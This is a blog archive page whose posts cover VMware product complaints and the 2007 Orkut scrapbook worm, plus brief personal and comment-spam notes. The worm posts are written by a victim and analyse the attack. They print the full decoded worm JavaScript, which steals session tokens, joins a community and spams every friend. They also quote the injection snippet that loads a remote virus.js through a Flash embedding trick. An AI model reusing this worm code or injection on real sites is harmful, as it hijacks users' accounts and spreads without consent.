Arr! VMWare is driving me nuts.

Several random VMWare things I want to throw out there that bother me.

At this point, I have used and continue to use most of VMWare's products. This started with Workstation back to 3.x.

Oh, at let me get my biases out of the way; I run a QA department, and we use VMWare for everything we can. Nothing better than being able to restore to a know state or save off a machine exactly where it is when exhibiting a problem. BigFix, where I work, also makes an agent that runs inside the management partition on ESX 3.x boxes.

VMWare Workstation - Great product, great price point. You can run multiple machines (a few), manage whole snapshot trees. Only really useful if you're in front of the box Workstation is running on. Gets the bleeding-edge features. VMs running under Workstation don't perform great, but are adequate if you give them enough physical RAM. Pretty much exactly matches expectations, but then it's the first product and is the one the others vary from. So in a very real way, this is what sets my expectations for the other products.

VMWare Server - The first larger VMWare purchase I made was GSX Server, somewhere around $3,000US for the software, and a $6,000 Dell 2U running Windows to put it on (BigFix's money, not my personal budget). Not bad, performance is still not great, slightly worse than Workstation. Might be because of remote access latency. Shareable, remote access built-in, which is key. Only one snapshot though, which is an immediate problem. I can manually backup machines at the expense of 30 minutes instead of 60 seconds, and disk space per copy is the same as the original rather than a fraction like a snapshot. But I found I could have a library of 30 machines, and run around 15 simultaneously, depending.

I originally assumed they had just left it out of GSX so far... or maybe, that was their hook to get people to go to ESX? I hadn't looked into ESX yet at the time. It's not a casual evaluation. That's about when VMWare made Server free. Hey, great right? No. There go my hopes of ever getting multiple snapshots on Server. Because VMWare would be insane to put that feature in the free product. For someone in my position, multiple snapshots are probably 40% of the advantage of ESX over Server. And I use ESX now, so why do I care? Because I can't give up Server! I have to keep using this intentionally crippled product. I'll get to why in a sec.

VMWare ESX Server (family) - At this point BigFix has standardized on ESX for as many QA machines as possible. (We have stuff that runs on Mac, Solaris SPARC, AIX PPC, HP-UX PA-RISC and Itanium, Windows Itanium, Windows Mobile on ARM. The x86 virtualization doesn't help much on those. It could with Mac, but Apple only just recently allowed OS X Server on VMs. When I'm trying to qualify our product on OS X, I can't go the hackintosh route. Also, I have a DLP product and some Wake-on-LAN functions I need real machines for. Oh, and I have an agent that runs IN ESX. I can't run ESX in ESX....)

But back to what I LIKE about ESX for a sec. It's the fastest of the bunch, scales better, has better remote access, better machine cloning, migration between physical ESX hosts and drives, and has MULTIPLE SNAPSHOTS. I put my team on ESX, and some of the install matrix stuff instantly takes half the time because of the snapshot feature alone. There's also a almost real infrastructure management. For my purposes, this means I get all my VMs in one window with one login. If you have more than one Server, then you log into each one separately (as far as I know. More on that in a sec, too.) I have as many as 30-40 machines running simultaneously per physical ESX box, out of a library coming up on 100, and it does a fantastic job at resource sharing the 8 cores and 16GB of RAM per physical box. It loves it some disk space, but that sort of thing happens when you build a hundred VMs averaging around 10GB each.

Sure, it's a little pricey. I think I'm paying $3000-4000 per ESX box, plus something for Virtual Center, and I'm not sure what else. I'm buying $9,000 Dell 2Us now, because ESX can actually make us of the resources. And I'm in for an external Dell SATA drive array, 15 400GB drives RAIDed, giving my 1TB on one ESX box, and 1.4TB on the other ESX box. I think we paid $15,000-$20,000 for that. I get less clear on the costs at this point, because I can now just budget for more capacity, and my IT department is buying it. We're in the process of picking on a 40TB SAN for the big cutover, where I bring some other groups into production on ESX who have been suffering with Workstation and piles of external 500GB USB hard drives. We have a tiny bit of production virtualization that VMWare constantly touts, but 90% of my ESX use falls under QA-style use.

Great, right? So one day, I grab the VMWare Converter tool (awesome tool!) to convert the last of my Server images over to ESX... and it balks. OK, no big deal.. I can make them again, they're just a few Win9x boxes, some Solaris x86 10... Hey, the Win9x OSes are missing from the list of standard OSes in the UI. I do some digging, and...

Windows 9x is not supported on ESX.

What? That can't be right... do some investigation... supported on Workstation... supported on Server. Not supported on ESX.

The Solaris x86 10 doesn't seem to work so well on ESX either, though support is claimed. But only starting at a particular patch level. Uh, I kinda need to test compatibility all the way back to no patches, guys. But I haven't finished my heroic effort getting it running on ESX yet. (Not that I should have to work that hard, of course.)

So in one shot, ESX has now forced me to maintain some number of Server machines. Sure, I already had to have piles of physical boxes for the random non-x86 unices. But I was so close on the Win9x. It should work. VMWare just doesn't want to. Can I have multiple snapshots on Server? No. Can I have Win9x on ESX? No. And I can't pay them for it, they don't want to.

While I'm complaining, there's one more thing I don't like about ESX (besides the usualy incremental stuff). I have no idea what the various ESX pieces do, or if I have them, or if I want them, or what kind of setup I need for them. I know I have ESX, Converter, and Virtual Center. I think I want VMotion. I think it does cool stuff with automatically balancing loads and migrating machines. I think I need a SAN for that. I sure hope my IT guy who spec'd that and the SAN out has it straight. I think there are bundles that have some of what I want. And I don't know what else I'm missing.

Like, I have Virtual Center. Does that help with my requirement for Server still? I don't think it does. I could be wrong. There's some ACE authentication product or something too, right? Why would I want that? What does it do?

Why did you buy Determina?

Now, if you actually know what you're doing with VMWare, you are assuming I haven't done my homework and haven't been to training and haven't been reading the docs and whitepapers. And you're right. But I'm the customer. I have entitlement issues. I define good products as ones that I can figure out without much work, that don't make me read the docs. I've been doing this for 25 years now, I like it this way. If I have to read your docs, then I lose for some reason. So when I can't figure out your product line a differentiation, that's ultimately our fault and you have made me bitter and/or sold me less. Make it simpler.

And then when I HAVE figured out your product differentiation when you didn't really want me to (i.e. your artificial limitations), that's not so hot either.

OK, I feel better thanks. And yes, for those of you who actually know the VMWare stuff in depth, PLEASE correct me.

BTW, what brought on the rant? I've got a presentation next week on malware analysis. I need Windows for that, and I'm carrying around a MacBook Pro with Leopard lately. So I bought a copy of VMWare Fusion straight from VMWare for about $70 yesterday. That's about half the cost of Workstation (Windows/Linux host only.)

It only does single snapshots.

Could I give you the extra $50 for multiple snapshots, PLEASE?! I only need this on my laptop when I'm traveling. I will use just as much ESX when I'm at work, I promise.

My D&D

Let me show you it.



Set here

More on Orkut worm

Yes, my HTML/Javascript-fu is weak. So much so that I didn't know we were dealing with pure Javascript. Javascript that just happens to exist to facilitate posting Flash movies and games, so that's why it has "Flash" written all over it.

To back up several steps... I received an email from Orkut saying that someone I know had left me a scrapbook entry. I went and looked at it, and was puzzling over the non-Englishness of it from someone whom I know is an English speaker. Of course during that time my browser (Firefox on OS X) was busy doing the same to my Orkut contacts. Sorry about that guys!

One of them is Jeremy Rauch. Within minutes of me looking at my scrapbook, I get email that Jeremy and others have now left me new scrapbook entries. This is about when I start to guess what's going on. I mail Jeremy to point out that he seems to have it now, and he says he knows... I gave it to him. Whoops! Jeremy was skeptical that Flash was really involved, since he has it blocked in his browser by default. He was right.

So here is what I think is happening, to the best of my ability as someone with weak Javascript-fu. Take a look at the chunk of HTML that ends up as a scrapbook entry that I posted earlier.

It obviously pulls in a chunk of Javascript that is even named "virus.js". But why all the trickery with the Shockwave and flash stuff? If Orkut allows posting raw HTML, why the games? Why not just source virus.js and be done with it?

So I did some experiments tonight. I tried the old script, alert 'hello I'm an XSS', etc... and that doesn't work. It says my rich content was rejected, see here.

And yet, I can paste in a much more complicated embed a flash movie expression, and that DOES work. Though, it made me fill in a CAPTCHA. I suspect that CAPTCHA is brand new as of tonight, otherwise I'm not seeing how the worm worked so well.

So the basic security challenge for Orkut here is that they want to allow some arbitrary HTML, but not others. As we have seen for many years with web-based email, that's a pretty hard problem to solve.

So that's why the hoops to jump through. The worm author needed something that looked like a flash movie so that Orkut would allow posting it, but in fact allowed him to pull in arbitrary Javascript.

This is where the SWFObject library comes into play. Its purpose in life seems to be to make it easier to embed Flash stuff and have it play properly. Orkut is nice enough to make this library available to every browser that loads the Scrapbook (and probably other) pages. They keep it at http://img2.orkut.com/js/gen/scraps006.js, which they source for you.

It looks to me like the worm author is able to build a SWFObject that includes the Javascript and causes it to be embedded in the Orkut page, thereby acting in the right context to have access to your Orkut cookies and all the good stuff that an AJAX worm needs. MySpace isn't alone in having all the good Web 2.0 worms anymore.

Jeremy decoded and prettied up the obfuscated Javascript. You can see that code at the end. If you're watching carefully, you'll see this version has a different message as the scrap body than the one I originally posted. That means the person (presumably the worm author) who controls the virus.js download page has revved the file at least one. I have two different (obfuscated) versions. Since I believe Orkut was taking active measures to shut this thing down, I'm guessing the author changes the text in case Orkut was keying off that.

Like I mentioned before, if the CAPTCHA is new, that should essentially stop this thing from spreading. This kind of worm has interesting implications for social sites. If this gets to be really common, it means you'll be answering CAPTCHAs or something similar left and right.

Also worth noting is that stopping the worm doesn't stop other interesting attacks. I was still able to post the same embed chunk of code to my own scrapbook as an experiment, I just had to answer the CAPTCHA. So a human could still put something there. If they can use it to run Javascript, that still leaves open attacks where they can steal your cookies.

It looks like the immediate problem is over. I probably won't have a lot more technical to say on this one. I hope that the Jeremiahs and RSnakes of the world will jump in soon and tell me how the worm actually works.

Decoded Javascript:

var index=0;
var POST=JSHDF["CGI.POST_TOKEN"];
var SIG=JSHDF["Page.signature.raw"];

function createXMLHttpRequest(){
try {
return new
ActiveXObject("Msxml2.XMLHTTP")
}
catch(e){
} ;

try {
return new ActiveXObject("Microsoft.XMLHTTP")
}
catch(e){
};

try {
return new XMLHttpRequest()
}
catch(e){
} ;
return null
};

function setCookie(name,value,expires,path,domain,secure){
var curCookie=name+"="+escape(value)+(expires?";expires="+expires.toGMTString():"")+(path?";path="+path:"")+(domain?";domain="+domain:"")+(secure?";secure":"");
document.cookie=curCookie
};

function getCookie(name){
var dc=document.cookie;
var prefix=name+"=";
var begin=dc.indexOf(";"+prefix);
if(begin==-1){
begin=dc.indexOf(prefix);
if(begin!=0){
return false
}
} else {
begin+=2
};
var end=document.cookie.indexOf(";",begin);

if(end==-1){
end=dc.length
};
return unescape(dc.substring(begin+prefix.length,end))
};

function deleteCookie(name,path,domain){
if(getCookie(name)){ document.cookie=name+"="+(path?";path="+path:"")+(domain?";domain="+domain:"")+";expires=Thu, 01-Jan-70 00:00:01 GMT";
history.go(0)
}
};

function loadFriends(){
var xml=createXMLHttpRequest();
if(xml){
xml.open("GET","http://www.orkut.com/Compose.aspx",true);
xml.send(null);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status==200){
var xmlr=xml.responseText;
var div=document.createElement("div");
div.innerHTML=xmlr;
var select=div.getElementsByTagName("select").item(0);
if(select){
select.removeChild(select.getElementsByTagName("option").item(0));
select.setAttribute("id","selectedList");
select.style.display="none";
document.body.appendChild(select);
sendScrap()
}
} else {
loadFriends()
}
}
};
xml.send(null)
}
};


function cmm_join(){
var send="POST_TOKEN="+encodeURIComponent(POST)+"&signature="+encodeURIComponent(SIG)+"&Action.join";
var xml=createXMLHttpRequest();
xml.open('POST','http://www.orkut.com/CommunityJoin.aspx?cmm='+String.fromCharCode(52,52,48,48,49,56,49,56),true);
xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status!=200){
cmm_join();
return
};
loadFriends()
}
}
};

function sendScrap(){
if(index==document.getElementById("selectedList").length){
return
};
var scrapText="Boas festas de final de ano![silver]"+new Date().getTime()+"[/silver] ";
var send="Action.submit=1&POST_TOKEN="+encodeURIComponent(POST)+"&scrapText="+encodeURIComponent(scrapText)+"&signature="+encodeURIComponent(SIG)+"&toUserId="+document.getElementById("selectedList").item(index).value;

var xml=createXMLHttpRequest();
xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);
xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
index++;
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut',index,wDate);
sendScrap()
}
}
};

if(!getCookie('wormdoorkut')){
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut','0',wDate)
};

index=getCookie('wormdoorkut');
cmm_join();

Orkut "virus"

More of a worm, actually.

I had an email from Orkut this evening telling me I had a new scrapbook entry. I don't really use Orkut, but I signed up a while back, and friended a bunch of people I know. The scrapbook entry was a bit cryptic:

2008 vem ai... que ele comece mto bem para vc

I still don't know exactly what it means, I'm assuming it's Portuguese. Babelfish wasn't any help. I won't mention who I got it from, but I will admit that if you are friended by me on Orkut, I probably gave you a copy too. Fortunately, it looks like Orkut is actively and quickly deleting them, to stop the spread. I say completely unsarcastically, good job Orkut on the quick response!

I haven't done any kind of through analysis yet, but it looks like a Javascript worm that kicks in via a Flash XSS? My HTML/Javascript/Flash-fu is pretty darn weak. This is what it looked like:

<div id="flashDiv295378627"><embed type="application/x-shockwave-flash" src="Scrapbook_files/LoL.html" style="" id="295378627" name="295378627" bgcolor="#FFFFFF" quality="autohigh" wmode="transparent" allownetworking="internal" allowscriptaccess="never" height="1" width="1"></embed></div><script type="text/javascript"> var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '295378627', '1', '1', '9', '#FFFFFF', 'autohigh', '', '', '295378627'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv295378627');</script>

Looks like it joins you to an Orkut group, too:

Infectados pelo Vírus do Orkut.

Owner of the group is a new-looking account named "Virus do Orkut". Also, listed at the end of the virus.js file is this: author="Rodrigo Lacerda"

Comment spammers

The comment spammers have finally found me. I have tried deleting the comments manually, but they just post a couple more every day. I've turned on CAPTCHAs, we'll see how that works. I'm loath to put any barriers in for people wanting to comment, so sorry about that.